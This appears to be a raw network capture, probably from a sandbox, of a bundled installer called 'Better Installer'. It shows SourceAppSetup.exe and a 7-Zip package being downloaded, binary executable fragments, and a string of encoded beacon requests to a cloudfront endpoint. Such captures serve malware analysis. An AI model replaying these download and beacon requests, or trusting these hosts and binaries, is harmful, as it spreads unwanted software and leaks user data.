HTTP/1.1 304 Not Modified..Connection: keep-alive..Date: Tue, 24 Feb 2
015 00:02:14 GMT..Server: nginx..Expires: Sun, 22 Feb 2015 05:06:58 GM
T..Cache-Control: max-age=600..Age: 75..Vary: Accept-Encoding..X-Cache
: Hit from cloudfront..Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloud
front.net (CloudFront)..X-Amz-Cf-Id: Yus2NriEIcYl41kP9qqx6NCrz9FqlvbZf
Lqv2D0w59FYFC7N8gU5qA==..

GET /sd?is=sm HTTP/1.1

Range: bytes=145788-291576

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:02:16 GMT

Date: Tue, 24 Feb 2015 00:02:16 GMT

Content-Range: bytes 145788-291576/583152

Content-Length: 145789

Connection: keep-alive
t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..C!/.Z......b.e62.d.YE.o...?&.
.... ....H"...E(y./.Z..6.U}._...w....o..s..).9..axM.t...*...8J........
2}...Yq.M.........G..#..Y..........=.A...~..R....QL9........VB......E.
5t..w ....X.8..o8..y)..E-0.zP.\..w~..)....<.\..}RX7.o...V..t.}.....
.'.............6o8....L .H.....&...R.,.....k..Bf.LJ.......\......0..$.
s.u.. ....w..~.)..c......X......[.....[..:...W..k...Z...:...Z.a...C?..
.....W.=gs..w.\..md..BO....Z.....;{.0d.z....".....W....{.W...j2.V.a...
..q..,...V......sr;.........n.".S.WI..n?........Z....^..7.. }....B.m. 
.eXsG...%. .K.].'..6..,,.iZ......C......nK'.$oJ.}k......7-..0.a.)2...(
DQ.?.Q..[...!....TV........-c...6..Y.gz.E.......M?... h.C..........@G]
C^e...P^....0..d._......8....:.A..r....I.j.\..."....|.7.yZ.X'.t....j.n
....L..A~DeP.Sr........U..LV~......T.....]L...s.K.a..........".y..II..
.{._...A......u...*sg.........1...S.Jv.hE.x..rX....bF.. ..i ;.........
N...`'.-....h$....L;t.)-.gY..kI.BolS...db...,@*9.6K..<`..R$..4$.-s.
u.s.d_Vs.....T..;....}.9]WR...1o.a......^.).8fR \...3.M.....W}[email protected].
.....r.ei....K0....5.....7....1M3X.C.......q..Gh.R.... zi=-...p:.8....
...].5.W...~K."[email protected]"rr.d.4<{.....5.....P...W....ZHNC.w.Y.=
 .}.1.7..u.....N....0..`...].I...J&p7....w79.......pB.J1.B.>...4.{.
M..RB.g..e....1`..s....Vl?v....sW.6..>.L.>.....9f..0~.V.t...m'.=
.F....cfA....vN....ae.L u7..q..#,H.............:....{j...L.xb.......v.
...j.5.=6..YEP^.M.R.d..^{f..5x.N..jx..Y..6.\...3.%.....c...*.IK.b.jz.l
.!)....U..<<< skipped >>>

GET /sd?is=sm HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 200 OK

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Content-Length: 583152

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:04:23 GMT

Date: Tue, 24 Feb 2015 00:04:23 GMT

Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................O........................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
[email protected]...`...p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F..tBj\V. ?
[email protected]...|p@[email protected]:.u.9].t.j....
..Wh.0G...C..W..tp@..^...j..0...S.....P..F...5...j......j........j....
[email protected]][email protected]
.PWh. [email protected]#.E.;.v%8.t!V..F..;.t...,P.u...C.....E.......9].....
..h. [email protected]. [email protected]..
[email protected].~B....h.0G.V.qB..P.^=..
P..B..V..D...P.@..}..|1V.IE..3.;.t..M....QP..`[email protected].........#...<<< skipped >>>

GET /affiliates/filesfrog/eula.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2sfi55f1s20qk.cloudfront.net

Connection: Keep-Alive



..,O............b.do.k....G_.$3.Vey..Sy....U...O...<..-.u.>.U%..
W........V......X...o.,.$8..........|j..T-._7.......kodi.Z$.S...@Q3...
.nj.q\G....u....;...b.........\g...:...}=e.......8.F...B...W. ..Ig...8
..B`|.......Q.d.3`.Y.Z.NH..dz...p...=.V0...S......-..j....rQ.K5...v...
..!.t.....Im....'.(.z.).....*......c.j.gs)DK...Z%..........w.......P._
G..u'.....u/.I.N...u'...*g2R...G..G.>.._(....u01p...:.{6..oe.3..W..
.\...%....?.y..OB....v..w.#.`.S...\.M.......,..g......[5....7.[7...i..
.....y.B...;A....C'..(.P.............:....{`S.(B.e..7...O3).t,...{...$
..2....X..;._.;..#_.4..x.E{T.....g.j..&..*..nhl...-...I_.M....ab.<~
.P...( L.x...\[email protected];vn....XD..&....iC.Z......."x.$=...Uw.O^.c
w.......]..'....v..!KpkD..;W.t.g....Fa...../........V.. .E<v.S9....
.DG..-w.:"/.F.1....@<~.../..4.[..7=.]O.E..>.t.^8c.t..K.F.a..`..=
k.p..Bw............*...Z .a^.....g.......r........83v.....k`-..L..b.YN
An<7.t?OJ.;;...Wq.p...V.M..cq.....*.O%..r.d>.f./c.k&..N...g*....
]...r&..X..8U.......*.N.J.n[...{b..Q.$C..t...zX..\&..[#m.F.T0....q.VO.
.....{KQ...J.(...4Uz.....u..36...._....P..I.=...0. ..9...Gx..g...\wh k
..)kg`..}...F.;8~...f.v.U......$A..O..<.2...K..3...$3P...%....g3..l
.y........x...R.8O...H." .P1...x..jS.3.v.a..QI.w....G....s.o..Qr8.....
.d.;[email protected]`....S.J.t.A.....0...Z.....=.#
..o.|...aoT/...]..2.~..`...8....U....O,\.4K...../*M....B7P.7...{......
6?..]*...`.1.,..=..5.b}.B....).`..^M.%.........SF.jZ......Z....`.-6..$
.......V@...;l........huEV.Y.`o..."`M.h.G.2 ....}27..X.....^..$...<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=832858-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:01:05 GMT

Content-Type: application/octet-stream

Content-Length: 277618

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 832858-1110475/1110476
.'.. .O..l$.wQi.t...g%..4..........9:1`..?......]... ...Z....Br.B.....
.A.........i..T.#.F.d.[....C.xJ.K}..pF..J...<9.rgt....[p%..\u/...7.
~.K.......v#........a.=......h.....6......v.K...../VN.=..I.e.Cc.6..W@.
.,.dn.j..d.A{.A..D.Q.~...5...=L]>...|.H..},.^E..\F.c...D^.}]D....'[
L....`.3Dp..r....P.....-....v-.[0.\....22cK...^.=?c.t....a.........R.s
o1.lI..Q_./`..,\../.c.?...S...K.O?...j.....s.....($.k...,x.?......z...
w.(.^=..4J.S*K.qm...`oG.D.<6a.........R....`..QNx......:..=g.K.....
...X4........T-J.........j.sh....}..Y.`..MThf.')^.[..;.'..X.a..&.....-
...x.....{.b...a...3....9{Y...`S......\...&F[....8.QL....S....n.......
Sc..:...Zd...n..q....R......6n.90.q~....<.o....5............`..n...
.~.p...OUr...y.8}.R%....y.*[email protected]..
.`..l....S......l]j.../.<..{1k>H.h.m.......2O.....4.2..L...a.(c.
...F...._..7.]......C[.i.3u..e...........0...m.j..h>...R.mu..] d.4.
.v.......g........t...\.*C......u0......w.K3..M.U......^.d.\.X.~..:.p.
...O..tNgx.....c...o...'..AY....|..t .....\.U........RE...N ..-,.nPgqw
......p.H.bMz...HJ.OG\.*....!..G/%..<...T..x.tn=..[1..sB.......z.FS
.8I....;.....].7.... ...|HT.fE...pX....-.......6..,.$.~.;..b....EZ~..,
........A.-..-.. ......T<N,..O([email protected]=.>..
.n.....6b.p....^4.....^.A./.......~5..z..~..UO.......iH.6..%....... .1
...{o..f$U>.]Y7.Xh|..![.............<......P9)..Q,..B.t.....f{..
t[...'.....&..VJ. ..9T!XH......&y.=.....O...4...Z....S..g..E/D.I%o....
PBL.........`.0..9I....&....d.....^... ....|Q....Qn..e"\.2.o.7_..A<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:02:16 GMT

Date: Tue, 24 Feb 2015 00:02:16 GMT

Content-Range: bytes 0-583151/583152

Content-Length: 583152

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................O........................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
[email protected]...`...p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /?product=firefox-34.0.5-complete&os=win&lang=en-US HTTP/1.1

Host: download.mozilla.org

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Range: bytes=900000-1199999

Cookie: optimizelySegments={"245617832":"none","245875585":"direct","245677587":"ff","246048108":"false","869421433":"true"}; optimizelyEndUserId=oeu1401956287616r0.2603029596469415; optimizelyBuckets={}; __utma=150903082.1617578787.1401956289.1401956289.1401956289.1

Connection: keep-alive


HTTP/1.1 302 Found

Server: Apache

X-Backend-Server: bouncer4.webapp.phx1.mozilla.com

Cache-Control: max-age=60

Content-Type: text/html; charset=UTF-8

Date: Tue, 24 Feb 2015 00:03:44 GMT

Location: hXXp://wpc.1237.edgecastcdn.net/801237/download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar

Keep-Alive: timeout=3, max=495

Content-Length: 0

Connection: Keep-Alive

X-Cache-Info: cached

HTTP/1.1 302 Found..Server: Apache..X-Backend-Server: bouncer4.webapp.
phx1.mozilla.com..Cache-Control: max-age=60..Content-Type: text/html; 
charset=UTF-8..Date: Tue, 24 Feb 2015 00:03:44 GMT..Location: hXXp://w
pc.1237.edgecastcdn.net/801237/download.cdn.mozilla.net/pub/firefox/re
leases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar..Keep-Ali
ve: timeout=3, max=495..Content-Length: 0..Connection: Keep-Alive..X-C
ache-Info: cached..

GET /12895.ashx?e=emKxDesqhYfulzvurkdMtQdO0XLeZfAkQF3UKsSdb2t7HO4WybUyR8Hy4zQ/KuAKHWPGQaBljeFI lMPnLPkSuLt6BhzfOsDBXnWkuh5LzaUfdGpw3nUglF9z0WypnnGstnhkcefCVXiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:01:59 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ZlXutDxsm0hpTjpzvsEhXIx5Tl2psy-SMFRXaADFiB2NF4T3kbl-_Q==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 00:01:59 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 b56fc979704f01acc351fd21f5c956
db.cloudfront.net (CloudFront)..X-Amz-Cf-Id: ZlXutDxsm0hpTjpzvsEhXIx5T
l2psy-SMFRXaADFiB2NF4T3kbl-_Q==......

GET /12895.ashx?e=vjRn qH YuPulzvurkdMtWtgRtIQv uIQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL11HmS0ZrngqaehpOqw6bJSLjAzOm8FoQAH6fyQqqsNTvYCpHZc9ZUaGLbhvor/ikhRQC drCF7eFimYPbkMVxFbGO705yKW/8 Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa9/CpuCTIAF0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:04 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AzHfPdbg84P5rhvKL79QVK3uJsTWBRc6t1mmP19WVj3QUA3gscFE-w==

....

GET /12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUa4chbF8K5U26keK87vbQoUVqC1aQjPYhLH1GFDNCxEsZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKzhaWSxEYwymAEJFpfiiXnI9ZhI21jDwGWVpsr9sPT5fAwCWrSwf7Fw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:00 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -5inAm221cU-aL3YSlK0yYcUePeRDjO9FifHmKFOVzKgLeyWq2R_JQ==

....

GET /12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUY5PPWYBcW8Gs IILilpWF3nW9YwSk5gj28Va7JmIs/BV8xxQACfjs51d/yz32tmquaHkbuQuAqpVejzRFPrs6H2qfbRCWFZtoTGmCgccp0YHRVCONAYSU9nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UrOFpZLERjDKYAQkWl KJecj1mEjbWMPAZZWmyv2w9Pl8DAJatLB/sX HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:00 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: m9NCqjyPXADP4TRgM9cs0_ITVbppYG69vp0x0_C81kMVoaB_K_x_kg==

....

GET /12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUb9PKObAHk8Ms IILilpWF3L95ytGxurmx7yxagmX1ikbxkEeDXhjVSM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUuPqzfJXqXzjXddlKQXVJ 8C9kGqHQpVkdFMp uC1nK0XTju1BdoOq1 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:04 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 0lfAtsULLEilB05lZ-MudfBFnL9KB6E9am1M0F-aI_SMh7IJPqK2vg==

....

GET /12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUbqfIekNLhs5jgb6v7cXpPsfukqxdW6Kzzz4pxZKLL7/a0RCgbXs/u1ilv6ykvr0V1xu7KMyWvkL2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2p2YPhiksauVx7D/NWDThIRMihJwn 7xAorKyJmp6BC vYixUen2UaMCcS8vEZvvJQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:04 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: uIfza9GtxXkr47CrQXRQ206HQppFZ4HOqIVt7817qcuPn6r5HUzcPg==

....

GET /12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUfa HuGTRyAEFAL52sIXt4Ua8Zp/ 13YC87tt5DnIkTUi1f7P6QEzXxsw87geXZcc6iH7TcBEiX6xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9fNVzLLcxFjdBjJFsJe PMbh0VD81O5rzWPKIz/cHLUr60ZqS4ggdNg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:05 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 5Qx2aKURw14UzhXHDTnLe8RfXGcHa3lEx9vMZx8prIQ-Ehmm4tFd7w==

....

GET /12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUanmGGYVS7/B0JQd5HxgIXcchUPaSyVwwPCqh8CqOQ5D94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs5ze ZyOzdyUPJTqkAn/Sqws3daRPpTCUycqhWdqhet8m4gjbKdnB5g== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:01 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: c5MrkJoYOH-gny2zIdQ7xjcyBq81eLN4dPCA77QPOwY_X5BMN37Z-w==

....

GET /12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUZKvgNPDm5dkjgb6v7cXpPth71QQSR2eRtjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qdmD4YpLGrlcew/zVg04SETIoScJ/u8QKKysiZqegQvr2IsVHp9lGjAnEvLxGb7yU= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /12895.ashx?e=M7A8vgjJHrj4MZomVx105Yduf7GeaOfNtwaYA5cXz78Qyol6Hp9Rdg0/niVdnGaSOFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHA38xLFtVk1NswOK6/sALrSWwaEnR7xgwrXIxNf6X/p9imua2CCuc c Scs327XoBKYX3Ti/i3YPU0Du1cPcKYLvc15CnxI 1VYiZEDqe9fJ6awisFjiQZiadgeg2 ZLTCPCxdK9RxUjpnxaWbehk4T87DWN0ju2aw Ml9V 5osOMQN4cka3W7AOxpFqMx/dgTbEWfWlEDay2hTaDQkIA1mtZQoC/3uQW76DHhyPlPnnqo/1LnfVQ9f9gejmj1PrNLuIZ1cXUjSsKxu3ZFk07dHS99ziAbLKWZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKzhaWSxEYwymAEJFpfiiXnI9ZhI21jDwGWVpsr9sPT5fAwCWrSwf7Fw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /12895.ashx?e=M7A8vgjJHrj4MZomVx105Yduf7GeaOfNtwaYA5cXz78Qyol6Hp9Rdg0/niVdnGaSOFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHA38xLFtVk1NswOK6/sALrSWwaEnR7xgwrXIxNf6X/p8CFMPu/XF4Ln0AQg0WKP xjgb6v7cXpPsg9xFL4weyiMbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfXzVcyy3MRY3QYyRbCXvjzG4dFQ/NTua81jyiM/3By1K tGakuIIHTY= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9
HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: i_4YcENP6gj2xXwexClTqyB978U-oadEedjrYA65OQWexvd0aBtiFQ==

....

GET /12895.ashx?e=sf5RTiQoQnef05G2dnM6gMMdEYretVH0jA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUW7/SYAj5QMPJTqkAn/Sqws3daRPpTCUycqhWdqhet8z6jryDQdl/7iKIFo3W8f2R2rQBtDpW51ZEkwaxhOT SS94ivFXiTaGK5E2bFODYYoPfCrfVvRJhQC drCF7eFW4i9HDfAHxSn58ZndcT3u/P8mddpznAd5QFz/uOguqr3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyznN75nI7N3JQ8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63ybiCNsp2cHm HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ZLQ3WUFa381_L5eCr0HQwzF9RQkMHM-ozNXndURxrjnHjOKYNyLpSQ==

....

GET /12895.ashx?e=043Mckb8Lnj5nRk39lR6RYduf7GeaOfNoOZ8Vy4PwRAQyol6Hp9Rdg0/niVdnGaSOFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHA38xLFtVk1NswOK6/sALrSWwaEnR7xgwaJkIKvOmtNACFMPu/XF4LhJgZ hNipe8AhwsRGINruh3JLgG5QML1bdfZ/rXose/qzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Nr9GadsXJyf8wJBAMv9qBzzcMaZPW8vuY4iq2v I/c FEzUTQA4EDuZtz4s1IP6Cg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:07 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: cuEmzbxHPh1F9N-P91JIqB1IwbTSNcX9icTcaUW7_sKmX6NvCI41Mw==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 00:02:07 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 b56fc979704f01acc351fd21f5c956
